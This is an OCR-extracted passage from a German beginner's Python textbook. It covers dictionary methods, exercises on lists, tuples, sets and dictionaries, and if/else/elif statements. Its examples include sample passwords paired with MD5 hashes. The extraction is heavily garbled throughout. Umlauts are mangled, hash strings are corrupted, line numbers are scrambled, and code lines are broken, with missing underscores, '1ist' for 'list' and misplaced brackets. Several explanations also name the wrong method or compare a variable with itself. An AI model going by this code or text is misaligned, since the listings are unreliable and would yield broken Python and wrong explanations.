Ubrigens nicht auf Strings beschrankt, sondern kann auch Zahlen oder
Wahrheitswerte verwenden.

Beispiel 8.4.4: Gegeben sei das folgende Dictionary:

1 daten = {

2 True : "Bananen schmecken gut",
3 42 : False,

4 "Kommazahl" : 3.14

5}

Wir wollen den <Wert> Bananen schmecken gut aus dem
Dictionary auslesen, in einer Variable mit dem Namen nachricht
speichern und diese dann ausgeben. Der dazugehorige <Schliissel> ist
der Wahrheitswert True. Dieser wird in eckigen Klammern tbergeben und
das Ergebnis einer Variable zugewiesen:

6 nachricht = daten[True]

Diese Variable lassen wir uns nun ausgeben:

7 print (nachricht)



# Ausgabe: 'Bananen schmecken gut'

Alternativ zu den eckigen Klammern kannst du auch die Methode get
verwenden, um einen <Wert> aus einem Dictionary auszulesen.

Beispiel 8.4.5: Gegeben sei das folgende Dictionary, das die
Geschmacksbewertung verschiedener Obstsorten auf einer Skala von 1 bis
10 enthalt:

1 obstsorten = {

2 "Banane" : 8,

3 "Erdbeere" : 10,
4 "Weintraube" : 9,
5 "Kiwi" : 3

6 }

Der Name der Obstsorte ist der <Schliissel> und die Bewertung der
<Wert>. Um die Punktzahl fir Erdbeeren auszulesen, kannst du in eckigen
Klammern hinter dem <Schliissel> den Schlissel Exrdbeere als
String eintragen und den ausgelesenen <Wert> in einer Variable
speichern:

7 bewertung erdbeere = obstsorten["Erdbeere"]

Alternativ ist es moglich, die Methode get zu verwenden. Diese wird auf
dem Dictionary aufgerufen und der <Schliissel> Erdbeere wird
als Parameter Uibergeben:

8 erdbeerpunkte = obstsorten.get ("Erdbeere")

In den beiden Variablen bewertung erdbeere und erdbeerpunkte
steht jetzt die Punktzahl 10. Das kannst du Uberprifen, indem du die
beiden <Werte> mit dem == Operator vergleichst und das Ergebnis
ausgibst:

9 print (erdbeerpunkte == erdbeerpunkte)



# Ausgabe: True

Wenn der Methode get ein <Schliissel> als Parameter Ubergeben
wird, der sich nicht in dem Dictionary befindet, wird keine KeyError

Exception ausgeldst. Stattdessen gibt die Methode einfach nur den
<Wert> None zurick:

10 print (obstsorten.get ("Blaubeere"))
# Ausgabe: None

Die folgende Code-Schablone fasst noch einmal die beiden
Herangehensweisen beim Auslesen eines Werts aus einem Dictionary

Zusammen.

# Moglichkeit 1
<Dictionary>.get (<Schlissel>)
# Moglichkeit 2
<Dictionary>[<Schliissel>]

Code-Schablone 8.4.1: Auslesen von Werten aus einem Dictionary

Wenn du wissen mochtest, wie viele Schlissel-Wert-Paare in einem
Dictionary enthalten sind, dann kannst du die Funktion len
verwenden. Der Funktion wird als Parameter das Dictionary
Ubergeben.

Beispiel 8.4.6: Gesucht ist die Anzahl der Kontakte in dem Telefonbuch auf
deinem Smartphone. Dieses ist als Dictionary gespeichert:

1 kontakte = {

2 "Max" : "0176111111111",

3 "Moritz" : "01520222222222",
4 "Lena" : "017533333333"

5}

Dazu rufen wir die Funktion len auf und Ubergeben ihr in runden
Klammern das Dictionary:



6 print (len (kontakte))
# Die Ausgabe lautet 3, weil das Dictionary 3 Eintradge hat.

Bei dem leeren Dictionary {} liefert der Aufruf von len
korrekterweise den Wert 0 zurick:

print (len({}))
# Die Ausgabe lautet 0, weil das leere Dictionary keine Elemente
hat.

Um neue Elemente in ein Dictionary einfligen oder bereits bestehende
aktualisieren zu konnen, kannst du die Methode update verwenden.

Diese erhalt als Parameter in geschweiften Klammern den Schliissel und
mit einem Doppelpunkt getrennt den Wert. Wenn der Schlissel bereits in
dem Dictionary vorhanden ist, wird der dahinterstehende Wert

aktualisiert. Ansonsten wird ein neuer Eintrag angelegt.

Beispiel 8.4.7: Gegeben sei das folgende Dictionary, in dem
verschiedene Serien auf einer Skala von 1 bis 1 0 bewertet werden:

1 serien = {

2 "Avatar - Der Herr der Elemente" : 10,
3 "Steins;Gate" : 9,

4 "Sword Art Online" : 10,

5 "Squid Game" : 8

6 }

Es soll nun eine neue Serie mit dem Namen ,,Mr. Robot“ hinzukommen, die
eine Bewertung von 9 erhadlt. Dazu wird auf dem Dictionary die

Methode update aufgerufen und als Parameter Mr. Robot sowie die
Bewertung 9 libergeben:

7 serien.update ({"Mr. Robot" : 9})

Jetzt kann die Bewertung dieser Serie bspw. mit der Methode get
abgerufen und ausgegeben werden:



8 bewertung mr robot = serien.get("Mr. Robot")

9 print (bewertung mr robot)
# Ausgabe: 9

Die Serie ,Squid Game” ist hingegen schlecht gealtert und deshalb soll die
Bewertung auf 7 herabgesetzt werden. Dazu rufst du erneut die Methode

get auf und Ubergibst ihr als Parameter das Schlissel-Wert-Paar Sguid
Game und die Bewertung 7:

9 serien.update ({"Squid Game" : 7})

Der Eintrag mit dem Schlissel Squid Game wurde aktualisiert:

10 print (serien.get ("Squid Game”))
# Ausgabe: 7

Eine weitere Moglichkeit, mit der du neue Elemente in ein Dictionary
einfigen oder bereits enthaltene Werte aktualisieren kannst, erinnert an
das Einfligen neuer Elemente in eine Liste. Zuerst notierst du hinter dem
Namen des Dictionaries die eckigen Klammern und adressierst mit
dem Schliissel die passende Stelle. Wie bei einer Variablenzuweisung mit
dem = Operator tragst du jetzt den gewiinschten Wert ein, der liber den
Schlissel abgerufen werden soll. Wenn der Schlissel noch nicht in dem
Dictionary vorhanden ist, wird er entsprechend hinzugefigt.

Beispiel 8.4.8: Gegeben sei das folgende Dictionary, in dem
verschiedene Serien auf einer Skala von 1 bis 1 0 bewertet werden:

1 serien = {

2 "Avatar - Der Herr der Elemente”" : 10,
3 "Steins;Gate" : 9,

4 "Sword Art Online" : 10,

5 "Squid Game" : 8

6 }

Es soll nun eine neue Serie mit dem Namen , The Office” hinzukommen, die



eine Bewertung von 10 erhalt. Dazu werden hinter dem Variablennamen
serien eckige Klammern notiert, in die der Schlissel The Office als
String eingetragen wird. Diesem Eintrag wird nun der Wert 10 als
Integer zugewiesen:

7 serien["The Office"] = 10

Die Aktualisierung der Bewertung von ,Squid Game” auf 7 kann vollig
analog vorgenommen werden:

8 serien["Squid Game"] = 7

Die folgende Code-Schablone fasst noch einmal die beiden
Herangehensweisen beim Eintragen eines neuen Werts in ein
Dictionary zusammen:

# Moglichkeit 1

<Dictionary>.update ({<Schlissel> : <Wert>})
# Moglichkeit 2

<Dictionary>[<Schlissel>] = <Wert>

Code-Schablone 8.4.2: Eintragen von Werten in ein Dictionary

Um bestimmte Eintrdge gezielt aus einem Dictionary zu léschen,
kommt diesmal keine Methode, sondern ein Keyword zum Einsatz. Ja, du
hast richtig gelesen. Das Keyword del hilft uns dabei, Eintrdge aus einem

Dictionary zu léschen. Dafir wird hinter dem Keyword mithilfe der
eckigen Klammern der Eintrag adressiert, der geldscht werden soll.



Beispiel 8.4.9: Gegeben sei das folgende Dictionary:

1 zahlen = {
2 "eins" : 1,
3 "zwei" : 2,
4 "drei" : 3
5}
Wir wollen den zweiten Eintrag {"zwei" : 2} ausdem Dictionary

I6schen. Dazu notieren wir zuerst das Keyword de 1l und adressieren direkt
dahinter mit den eckigen Klammern den Eintrag, den es zu léschen gilt.
Hier wird der Schlissel zwe i lbergeben:

6 del zahlen["zwei"]

Wenn wir uns das Dictionary mit dem Befehl
7 print (zahlen)
ausgeben lassen, dann sehen wir Folgendes:
{'eins': 1, 'drei': 3}

Gibst du beim Adressieren einen Schlissel an, den es nicht in dem
Dictionary gibt, dann beantwortet Python das wieder mit einer

KeyError Exception:

7 del zahlen["vier"]

# KeyError: 'vier'

Um alle Elemente aus einem Dictionary zu léschen, kannst du die
Methode clear verwenden.

Beispiel 8.4.10:

1 zahlen = {

2 "eins" : 1,



3 "zwei" : 2,

Um alle Elemente zu l6schen, rufst du auf dem Dictionary die
Methode clear auf, die keine Parameter erhalt:

5 zahlen.clear ()

Die Methode clear liefert kein leeres Dictionary zurlick, das du einer

Variable zuweisen kannst. Stattdessen werden die Anderungen direkt auf
dem Dictionary durchgefihrt, d. h., wenn du es nach dem Aufruf von

clear ausgibst, siehst du, dass wirklich alle Eintrage geléscht wurden.

6 print (zahlen)
# Es wird das leere Dictionary {} ausgegeben.

Mochtest du von einem Dictionary eine Kopie anfertigen und es
sauber machen, dann kannst du dafiir die Methode copy verwenden, die
auf dem zu kopierenden Dictionary aufgerufen wird und keine
Parameter erhdlt. Das Ergebnis ist eine vollstindige Kopie des
Dictionaries, das dann einer Variable zugewiesen werden kann.

Beispiel 8.4.11:
1 zahlen = {
2 "eins" : 1,
3 "zwei" : 2,
4 "drei" : 3
3 }

Dieses Dictionary kannst du kopieren, indem du die Methode copy
aufrufst und das Ergebnis einer Variable kopie zuweist:

6 kopie = zahlen.copy ()

Wenn du dir die Kopie ausgibst, dann siehst du, dass alles funktioniert hat:



7 print (kopie)
# Die Ausgabe lautet {'eins': 1, 'zwei': 2, 'drei': 3}.

Beachte, dass eine flache Kopie mit einer simplen Zuweisung lber den =
Operator nicht ausreicht, um zwei voneinander getrennte
Dictionaries zu erhalten. Verwende deshalb am besten die Methode
copy.

Wenn du wissen mochtest, welche Schlissel sich tberhaupt in einem
Dictionary befinden, dann kannst du die Methode keys verwenden.
Diese wird auf dem Dictionary aufgerufen und erhalt keine Parameter.

Beispiel 8.4.12: Gegeben sei das folgende Dictionary, in dem
Passworter samt ihren MD5-Hashes gespeichert sind:

1 passwort hashes = {

2 "abcl23"™ : " e99al18c428cb38d5f260853678922e03",
3 "1337" : " e48e13207341b6bffb7fbl1622282247b",

4 "love" : " b5c0bl87fe309af0f4d35982fdo961d7e"
5}

Um dir alle Schlisselworter, also die in dem Dictionary gespeicherten
Passworter, auszugeben, rufst du darauf die Methode keys auf und weist
das Ergebnis einer Variable schlissel zu:

6 schlissel = passwort hashes.keys ()

Das Ergebnis ist jedoch keine IL.iste, sondern ein Objekt vom Typ
dict keys. Um daraus eine Liste zu erstellen, Gbergibst du dieses
Objekt einfach der Funktion 1ist als Parameter:

7 schlisselliste = list (schlissel)

Wenn du dir das Ergebnis mit dem Aufruf

8 print (schliisselliste)



ausgeben lasst, dann siehst du, dass eine Liste mit allen Schlisseln
herauskommt:

['abcl23', '1337', 'love']

In vielen Fallen sind aber nur die Werte hinter den Schliisseln interessant.
Auch hierflir bietet Python eine passende Methode an, namlich values.

Diese wird auf dem entsprechenden Dictionary aufgerufen und erhalt
ebenfalls keine Parameter.

Beispiel 8.4.13: Gegeben sei das folgende Dictionary, in dem
Passworter samt ihren MD5-Hashes gespeichert sind:

1 passwort hashes = {

2 "s3cr3t" : " ad4dB80eacY9%ab26ad4a2dal04125bc2c096a",

3 "nOObsled" : " 1b027a471918e398bad5a8ed9%98a02bdl",

4 "tlm3=money!" : " 36593caf3c79f69112d47e44807celo5"
5 }

Uns interessieren diesmal alle MD5-Hashes. Dazu rufen wir auf dem
Dictionary die Methode keys auf und weisen das Ergebnis einer

Variable werte zu:

6 werte = passwort hashes.values()

Das Ergebnis ist auch hier keine Liste, sondern ein Objekt vom Typ
dict keys. Um daraus eine Liste zu erstellen, Ubergeben wir dieses
Objekt einfach der Funktion 1ist als Parameter:

7 werteliste = list (werte)

Wenn wir uns das Ergebnis mit dem Aufruf

8 print (werteliste)

ausgeben lassen, dann sehen wir, dass eine Liste mit allen Werten



herauskommt:

['ad4d80eac9ab26a4a2da04125bc2c096a’,
'1b027a471918e398bad5a8ed98a02bdl ',
'36593caf3c79£69112d47e44807cel65"']

8.5 Ubungsaufgaben

8.5.1 Listen
@ Gegeben sei die folgende Liste:

1 daten = ["abcl23",12,True,0.25,-3,'J','N']

Welche Elemente werden in dem
ausgelesen?

daten[0]
daten[3]
daten[-2]
daten[-5]
daten[2]
daten[2+2]
daten[3*0-1]
daten[3//3]
daten[-1*3]
11 daten[7-2]

O 00 N o U B W N
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@ Gegeben sei die folgende Liste:

folgenden

Python-Programm

1 buchstaben: ['A','B','C','D','E','F','G','H‘,'I','J‘,'K','L']

Wie sehen die Listen aus, die in den folgenden Zeilen herauskommen?

2 buchstaben[2:5]



buchstaben[-5:-1]
buchstaben] :]
buchstaben[5:]
buchstaben|[: 3]
buchstaben[:-5]
buchstaben[2:2]

O 00 N O U b~ W

buchstaben[::2]

10 buchstaben[2::2]

11 buchstaben[-50:50]

12 buchstaben|:1len (buchstaben) ]

@ Welche Listen kommen nach Anwendung der folgenden
Operationen heraus?

1 [0,1,2] * 2

2 3 * [True,False]

3 [1,1]1 + [2,2] + [3,3]

4 ["Hallo"] + ["Python",'!']

5 2 * ([True] + [True, False])

@ Gegeben sei die folgende Liste:

1 zahlen = [0,1,2,3,4,5]

Auf diese L.i ste werden verschiedene Methoden angewendet:

zahlen[2] = 5
zahlen.remove (1)
zahlen.append(7)
zahlen.remove (4)
zahlen += [1,2, 3]
zahlen.insert (3, 0)

zahlen.sort (reverse=True)

O 00 N o U B W N

zahlen.insert (2, 3)

=
o

zahlen.append (zahlen.count (0))



11 zahlen.remove (zahlen.index (3))

12 zahlen.clear ()

Gib fur jede Zeile an, wie die Liste nach Anwendung der jeweiligen
Operation aussieht.

@ Gegeben sei die folgende Liste:
1 buchstaben = ['A','B','C','D','E"]
Diese wird nun kopiert:

2 kopie = buchstaben

Auf die Kopie werden die folgenden Operationen angewendet:

3 kopie[2] = 'F'
4 kopie.append('G'")

5 kopie.remove ('A'")

Was kommt heraus, wenn man die urspriingliche Li ste mit dem Namen
buchstaben jetzt ausgibt?

6 print (buchstaben)

Kopiere die Liste so, dass die Veranderung der Kopie keinen Einfluss auf
das Original hat.

@ Wie lauten die Ausgaben des folgenden Programms?

print (', "'.join(['3"',"14"]))

1

2 print('.'.join (["Max", "Mustermann"]))

3 print('*'.join(['1"', '2', '3', '4','5']))
4 print(''.join(['F',"'1",'0']))

5 print('--'.join(['-","'-","'=-"1))

@ Gegeben sei die folgende Matrix:



Definiere eine mehrdimensionale Liste, die die Matrix M darstellt.



Gegeben sei die folgende Matrix:

zahlen = [
[1,0,17,
[0,1,01,
13,2,11,
[1,2,3]
[3,0,3]

14

Wie lauten die Elemente, auf die im Folgenden zugegriffen wird?

8 zahlen[0] [2]
9 zahlen[2][2]
10 zahlen[4][2]
11 zahlen[1][1]
12 zahlen[3][1]
16 zahlen[2] [0]
17 zahlen[O0]
18 zahlen[2]

8.5.2 Tupel
@ Welche Eigenschaft unterscheidet Tupel und Listen voneinander?

@ Welche Vorteile bieten Tupel gegenlber einer Liste?

@ Was wird von dem folgenden Programm ausgegeben?

tupel (0,1,2,3,3,0)

kopie tupel

print (tupel[2])

print (kopie[5])

print (tupel.index (0))

index = tupel.index (3)

N o o0 AW N R

print (kopie[index])



8 index = kopie.count (3)
9 print (tupel[index])
10 print (5 in kopie)

@ Gegeben sei die folgende Funktion:

1 def rechnen(a,b):

2 return atb, a-b, a*b, a/b

Lies alle Ergebnisse, die die Funktion rechnen mit den Parametern a=6
und b=3 zurlickgibt, in einer Zeile aus. Verwende dafir passende
Variablennamen.

@ Gegeben seien die folgenden beiden Tupel:

(1,2,3)
2 b= (4,5,06)

Mache aus diesen beiden Tupeln dieListe [1,2,3,4,5,06].

8.5.3 Sets
(D) Gegeben sei das leere Set:

1 zahlen = {1,0}

Gib an, wie viele Elemente das Set in den einzelnen Zeilen enthalt:

zahlen.clear ()
zahlen.add (3)
zahlen.add (2)
zahlen.add (3)

2

3

4

5

6 zahlen.remove (3)
7 zahlen.add(2)

8 zahlen.add (0)

9 zahlen.add (1)

10 zahlen.add (1)



11 zahlen.remove (2)

@ Nenne zwei Gemeinsamkeiten, die eine Menge aus der Mathematik
und ein Set in Python haben.

@ Gegeben sei das folgende Set:

1 gerade = {0,2,4,6,8,10}

Dieses wird nun kopiert:

2 kopie = gerade

Auf die Kopie werden die folgenden Operationen angewendet:

3 kopie.remove (4)
4 kopie.add(1l2)
5 kopie.add(8)

Was kommt heraus, wenn man das urspriingliche Set mit dem Namen
gerade jetzt ausgibt?

6 print (gerade)

Kopiere das Set so, dass die Veranderung der Kopie keinen Einfluss auf
das Original hat.

@ Schreibe eine Funktion mit dem Namen prifen, die als Parameter
eine Variable mit dem Namen zahl und ein Set mit dem Namen
zahlen erhalt. Die Funktion soll True zurlickgeben, wenn die Zahl
bereits in zahlen enthalten ist und ansonsten False.

8.5.4Dictionaries

(@ Welche drei Beispiele aus dem Alltag fallen dir ein, bei denen eine
Datenstruktur wie ein Dictionary vorkommt?

@ Gib an, wie das Dictionary mit dem Namen zahlen nach dem



Ausfliihren des Codes in der jeweiligen Zeile aussieht:

1
2
3
4
5
6
7
8

zahlen = {"eins" : 1, "zwei" : 2, "drei" : 3}
zahlen.update ({"eins" : 2})

del zahlen["drei"]

zahlen.clear ()

zahlen.update ({"null" : 0})

zahlen.update ({"eins" : 0})

zahlen["eins"] =1

del zahlen["null"]

@ Mit dem DNS-Protokoll werden Adressen von Webseiten in passende
IP-Adressen Ubersetzt. Dazu wurde das folgende Dictionary erstellt:

1 dns = {
2 "www.google.com" : "142.251.36.110",
3 "www.youtube.com" : "142.251.36.142",
4 "www.stackoverflow.com" : "151.101.129.69"
5}
Lies die IP-Adresse der Webseite www.youtube.com auf zwei

verschiedene Arten aus.

@

WWWwW

Flige in das Dictionary aus Aufgabe @ einen Link zur Seite
.tryhackme.com ein, hinter der die IP-Adresse 104.22.54.228

steckt.

@ Gegeben sei das folgende Dictionary, in dem zu jeder Person ein

Alter

gespeichert wird:

infos = {
"Florian" : 25,
"Ayumi" : 28,
"Eva" : 51,
"Herbert" : 60


http://www.youtube.com/

Erstelle fir die Schlissel und die Werte in dem Dictionary jeweils eine
Liste mitden Namen namenslisteundalterliste.

@ Definiere ein Dictionary, in dem die Schulnoten von 1 bis 6 als
Schlissel gespeichert sind. Als Werte sollen die Verbalisierungen der Noten
zugeordnet werden, also sehr gut fir die Note 1, gut fiir die Note 2,
befriedigend fir die Note 3, ausreichend fiir die Note 4, mangelhaft fir die
Note 5 und ungenigend fiir die Note 6.

In der folgenden Playlist findest du die Lésungen zu den Ubungsaufgaben
aus diesem Kapitel:

https://florian-dalwigk.com/python-einsteiger/|%C3%B6sungen_kapitel8


https://florian-dalwigk.com/python-einsteiger/l%C3%B6sungen_kapitel8

9 Kontrollstrukturen

9.1 Abzweigungen und Schleifen

Kontrollstrukturen machen deine Programme erst so richtig spannend.
Bisher hast du namlich nur Programme gesehen, in denen keine
Entscheidungen getroffen werden konnten, also bspw. was passieren soll,
wenn ein Benutzer J (Ja) oder N (Nein) eingibt. Wenn du einen
bestimmten Code mehrfach ausfiihren wolltest, musstest du ihn kopieren,
was kein guter Programmierstil ist. Damit st jetzt Schluss!
Kontrollstrukturen erlauben es dir, diese Abzweigungen in deinem
Programm zu nehmen und Codebereiche beliebig oft zu wiederholen.

Wie kdnnte so eine Abzweigung aussehen? Nun, stelle dir das wie eine
Weggabelung vor. Du als Benutzer kannst deinem Programm mitteilen, ob
du nach links oder rechts gehen mochtest. Das Programm kann dann
unterschiedlich auf deine Entscheidung reagieren. In dem Text-Adventure,
das du in Kapitel 12.1 entwickeln wirst, wird dir diese Logik noch haufiger
begegnen. Diese Abzweigungen werden in Python mit if-Anweisungen

umgesetzt, die du in Kapitel 9.2 kennenlernst.

Wenn du nacheinander die Zahlen von 1 bis 100 untereinander ausgeben
mochtest, dann kannst du entweder mehrere print-Funktionen
verwenden oder einen langen String mit mehreren Zeilenumbriichen
notieren, in den du dann alle Zahlen von 1 bis 100 selbst handisch
eintippst. Das muss doch einfacher gehen, oder? Natirlich! Sogenannte
Schleifen konnen dir dabei helfen, Code mehrfach hintereinander
auszufiihren. Dabei werden dann bspw. Variablen hochgezdhlt, die in
jedem Schleifendurchlauf verwendet werden kdnnen. Es ist aber auch
moglich, Datenstrukturen zu durchlaufen und sich die einzelnen Elemente
ausgeben zu lassen oder sie zu bearbeiten. In Kapitel 9.3 lernst du for-
Schleifen kennen, mit denen ein fest definierter Zahlenbereich oder eine




Datenstruktur durchlaufen werden kann. In Kapitel 9.4 geht es dann um
while-Schleifen, die z. B. dann genutzt werden, wenn nicht genau
feststeht, wie oft ein bestimmter Codebereich wiederholt werden muss. In
Kapitel 9.5 kannst du dein neu erworbenes Wissen zu Kontrollstrukturen
anhand von Ubungsaufgaben vertiefen.

9.2 if-Anweisungen

Wenn das Woértchen ,Wenn® nicht war, dann war mein Papa Millionar.
Wenn du diesen Satz noch nie gehort hast, dann ist das Gberhaupt nicht
schlimm, denn eigentlich geht es nur um die darin enthaltene Wenn-Dann-
Aussage. Diese spielen in der Programmierung eine wichtige Rolle, da man
mit ihnen Abzweigungen in einem Programm umsetzen kann. Wenn du an
die Benutzereingaben aus Kapitel 7 zuriickdenkst, dann hatten wir bislang
immer das Problem, dass wir nicht tberprifen konnten, ob wir etwas mit
den Eingaben anfangen kdnnen. Auch Optionen wie etwa J (Ja) oder N
(Nein) konnten bisher nicht weiterverarbeitet werden. Mit den
sogenannten if-Anweisungen andert sich das. Hierbei handelt es sich um
eine Kontrollstruktur, mit der man <Bedingungen> auswerten und,
abhangig vom Ergebnis, darauf reagieren kann. Wenn du dir dieses Kapitel
durchliest, dann lernst du, wie if-Anweisungen funktionieren, wie man
eine Alternativhandlung formuliert und wie man mehrere i £-Anweisungen
mithilfe des Keywords el1if verschachteln kann. Zudem lernst du die
beiden brandneuen ,soft Keywords“ match und case kennen, die es erst
seit Python 3.10 gibt und mit denen sich u. a. Switch-Case-Anweisungen
umsetzen lassen. Wenn du bereit bist, dann geht es jetzt direkt los.

9.2.1 Wie funktioniert eine i f-Anweisung?

Wie du im Einleitungstext zu diesem Kapitel bereits gesehen hast,
funktionieren if-Anweisungen vom Prinzip her wie eine Wenn-Dann-

Aussage:

Wenn <die Bedingung erfiillt ist>:



dann <passiert etwas>

Passenderweise wird in Python dafiir sogar das englische Wort fiir ,wenn®,
also if, als Keyword verwendet. Die folgende Code-Schablone zeigt, wie
eine 1 £-Anweisung strukturell aufgebaut ist.

if <Bedingung>:
<Anweisung 1>
<Anweisung 2>

<Anweisung n>

Code-Schablone 9.2.1: Aufbau einer i f-Anweisung

Wenn die <Bedingung> erfillt ist, dann werden die eingerickten
<Anweisungen> nacheinander ausgefihrt. Wenn die <Bedingung>
nicht erfillt ist, dann werden die eingeriickten <Anweisungen> einfach
Ubersprungen. Als <Bedingungen> kommen Ausdriicke zum Einsatz, die
mit den Vergleichsoperatoren (Kapitel 5.4) und den logischen Operatoren
(Kapitel 5.5) gebildet werden. Oder anders ausgedriickt: Das Ergebnis einer
<Bedingung> ist entweder der Wahrheitswert True oder False. Die
folgende Abbildung visualisiert noch einmal den Ablauf einer 1if-
Anweisung:
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Abbildung 9.2.1: Ablauf einer i f-Anweisung

Achte bitte unbedingt auf deine Wortwahl! Es heilt i f-~-ANWEISUNG und
nicht 1f-SCHLEIFE. Selbst im Informatikstudium haben meine
Kommilitonen aus dem vierten Semester teilweise noch von 1 £-SCHLEIFEN

gesprochen, doch das ist faktisch falsch. Warum das so ist, erfahrst du in
dem folgenden Video:

https://florian-dalwigk.com/python-einsteiger/es_gibt_keine_if_schleifen


https://florian-dalwigk.com/python-einsteiger/es_gibt_keine_if_schleifen

Beispiel 9.2.1: Wir wollen uUberprifen, ob eine Person volljahrig ist. In
Deutschland gilt man ab einem Alter von 18 Jahren als volljahrig. Wir
fragen den Benutzer nach seinem Alter und speichern das Ergebnis in einer
Variable alter:

1 alter = int (input ("Wie alt bist du? "))
Wenn das Alter groRer als oder gleich 18 ist, dann ist die Person volljahrig:

2 if alter >= 18:
3 print("Du bist volljahrig!"™)

Beispiel 9.2.2: Wir haben den Benutzer unseres Programms gefragt, ob er
Anime mag:

1 antwort = input ("Magst du Anime (J/N)?2 ")

Als Antwort erwarten wir den Buchstaben J (Ja) oder N (Nein). Diesen
speichern wir anschlieRend in der Variable antwort. In einer if-
Anweisung wird nun geprift, ob die Antwort J (Ja) ist. Wenn das zutrifft,
dann gebenwirden Text I _see a man of culture aus:

2 if antwort == "J":

3 print("I see a man of culture")

In allen anderen Fallen reagieren wir nicht auf die Antwort des Benutzers,
was zwar unhoflich ist, doch bislang fehlen uns dafiir noch die Mittel. In
Kapitel 9.2.2 lernst du jedoch ein weiteres Keyword kennen, mit dem man
auf alternative Antworten reagieren kann. Denn was wiirde passieren,
wenn wir im Fall, dass der Benutzter N antwortet, direkt hinter der if-

Anweisung Schade ausgeben?

1 antwort = input ("Magst du Anime (J/N)?2 ")
2 if antwort == "J":
3 print("I see a man of culture")

4 print ("Schade")



Dann wirde unabhangig von der Antwort des Benutzers immer Schade
ausgegeben werden, da nur die Ausgabe I _see a man of culture
von der Bedingung abhangt, dass die Variable antwort den Wert J
besitzt. Gibt der Benutzer tatsachlich ein J ein, dann wirde die Ausgabe

I see a man of culture
Schade

lauten und ansonsten nur

Schade

Man kann auch direkt die Wahrheitswerte True und False als
<Bedingung> notieren.

Beispiel 9.2.3: In der Variable volljahrig soll gespeichert werden,
ob eine Person volljahrig ist oder nicht:

1 volljahrig = True

Ein Vergleich wie volljdhrig_ == True in der <Bedingung> ist
uberflissig, denn am Ende kommt bei einem Vergleich auch nur True
oder False heraus. Deshalb kannst du direkt die Variable selbst als
<Bedingung> verwenden:

2 if volljahrig:
3 print("Du bist volljahrig!"™)

9.22if-else

Wenn du deinem Programm fiur den Fall, dass die <Bedingung> nicht
erflllt ist, alternative Anweisungen mitgeben mochtest, dann benotigst du
ein weiteres Keyword, namlich else. Dieses lasst sich am besten mit
»sonst” Ubersetzen. Das macht aus einer Wenn-Dann-Anweisung eine
Wenn-Dann-Sonst-Anweisung. Die folgende Code-Schablone zeigt, wie
man das Keyword el se in Kombination mit i f einsetzt:



if <Bedingung>:
<Anweisung 1>

<Anweisung n>
else:
<Anweisung 1>

<Anweisung n>

Code-Schablone 9.2.2: Aufbau einer i f-e1lse-Anweisung

Wenn die <Bedingung> erfillt ist, dann werden die eingerilickten
<Anweisungen> im if-Teil ausgefuhrt, sonst die <Anweisungen> im
else-Teil. Die folgende Abbildung visualisiert noch einmal die Logik hinter
einer i f-el se-Anweisung:

if-else
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Abbildung 9.2.2: Ablauf einer i f-e1se-Anweisung

Beispiel 9.2.4: Wie in Beispiel 9.2.1 wollen wir Gberpriifen, ob eine Person
volljahrig, d. h. mindestens 18 Jahre alt ist. Wir fragen den Benutzer nach



seinem Alter und speichern das Ergebnis in einer Variable alter:

1 alter = int (input ("Wie alt bist du? "))

Wenn das Alter groRer als oder gleich 18 ist, dann ist die Person volljahrig:

2 if alter >= 18:
3 print("Du bist volljahrig!"™)

Wenn der Benutzer noch nicht volljahrig, d. h. unter 18 Jahre alt ist, dann
soll ein entsprechender Text ausgegeben werden. Das war mit den
bisherigen Bordmitteln noch nicht moéglich. Zur Umsetzung verwenden wir
jetzt das Keyword e1se und schreiben dahinter die Ausgabe:

4 else:

5 print("Du bist noch nicht volljahrig!"™)

Beispiel 9.2.5: Wir schauen uns noch einmal das Programm aus
Beispiel 9.2.2 an:

1 antwort = input ("Magst du Anime (J/N)?2 ")
2 if antwort == "J":

3 print("I see a man of culture")

Der Benutzer wird gefragt, ob er Anime mag und er kann mit den
Buchstaben J (Ja) oder N (Nein) antworten. Diese Antwort wird dann in

einer Variable mit dem Namen antwort gespeichert und in einer if-
Anweisung Uberprift. Wenn der Vergleich antwort == "J" den Wert
True liefert, dann geben wir den Text I _see a man of culture

aus. Bisher war es jedoch nicht moglich, einen Alternativtext auszugeben,
wenn die Antwort z. B. N (Nein) lautet. Das andert sich aber nun, denn

hinter dem Keyword e1se kann eine <Anweisung> hinzugefligt werden,
die nur dann ausgefiihrt wird, wenn die <Bedingungen> nicht zutrifft.

4 else:

5 print("Schade")



Ein Problem gibt es allerdings immer noch. Was ist denn, wenn der
Benutzer etwas anderes als J eingibt? Aktuell wiirde jede Antwort auller J

die Ausgabe Schade zur Folge haben. Zur Losung kénnte man eine
verschachtelte if-Anweisung formulieren, bei der man aber hdllisch
aufpassen muss, um die Einrtickungen nicht zu verbaseln:

1 antwort = input ("Magst du Anime (J/N)?2 ")
2 if antwort == "J":

3 print("I see a man of culture")

4 else:

5 1if antwort == "N":

6 print ("Schade")

7 else:

8 print ("Ungliltige Antwort")

923if-elif-else

Was ist, wenn du zwei oder mehr <Bedingungen> uberprifen
mochtest? Mit 1 f-e1se-Anweisungen kannst du nur eine <Bedingung>
Uberprifen und eine Alternativhandlung formulieren, wenn sie nicht
zutrifft. In Beispiel 9.2.5 hast du aber gesehen, dass du dann ggf.
verschachtelte i f-Anweisungen verwenden musst, was einem den Spal}
am Programmieren durchaus verderben kann. Was kannst du also tun, um
zwei oder mehr <Bedingungen> ohne komplizierte Verschachtelungen
zu Uberprifen? Nun, dann kannst du auf ein weiteres Keyword
zurlickgreifen. Dieses heift e1if und ist eine Verschmelzung der beiden
Keywords else und if. Die folgende Code-Schablone zeigt, wie die drei
Keywords i f, elif und else in Kombination verwendet werden:

if <Bedingung 1>:
<Anweisung 1>

<Anweisung n>
elif <Bedingung 2>:
<Anweisung 1>



<Anweisung n>
else:
<Anweisung 1>

<Anweisung n>

Code-Schablone 9.2.3: Aufbau einer 1 f-elif-else-Anweisung

Beispiel 9.2.6: Mit diesem Wissen koénnen wir das Programm aus
Beispiel 9.2.5 etwas schoner aufschreiben:

antwort = input ("Magst du Anime (J/N)? ")
if antwort == "J":

print ("I see a man of culture")

if antwort == "N":
print ("Schade")

1

2

3

4 else:
5

6

7 else:
8

print ("Unglltige Antwort")

Die Zeilen 1 bis 3 bleiben genauso, wie sie jetzt sind und es wird sich hier
nichts dran ritteln, egal, ob du hier bist und nicht. Spald beiseite! Wir
konzentrieren uns auf die Zeilen 4 bis 8, denn die kbnnen mithilfe von
elif umgeschrieben werden. Anstelle der verschachtelten i £-Anweisung

ab Zeile 5, nutzen wir elif in Zeile 4 und prifen dahinter in einer
weiteren <Bedingung>, ob die Variable antwort den Wert N besitzt:

4 elif antwort == "N":
